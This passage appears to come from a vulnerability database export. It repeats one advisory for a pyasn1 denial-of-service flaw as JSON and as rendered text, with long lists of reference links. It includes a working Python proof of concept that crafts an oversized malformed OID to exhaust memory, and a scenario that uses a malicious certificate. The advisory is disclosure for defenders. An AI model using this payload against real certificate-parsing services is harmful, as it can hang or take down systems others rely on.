{len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-gyb-CVE-2026-23490",
      "modified": "2026-10-08T00:53:08Z",
      "published": "2026-08-13T16:55:28Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-KIMI-CLI-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:01 – Updated: 2026-11-02 11:01 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "kimi-cli",
            "purl": "pkg:brew/kimi-cli"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.56"
                },
                {
                  "fixed": "0.78_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-kimi-cli-CVE-2026-23490",
      "modified": "2026-11-02T11:01:00Z",
      "published": "2026-08-13T17:01:40Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
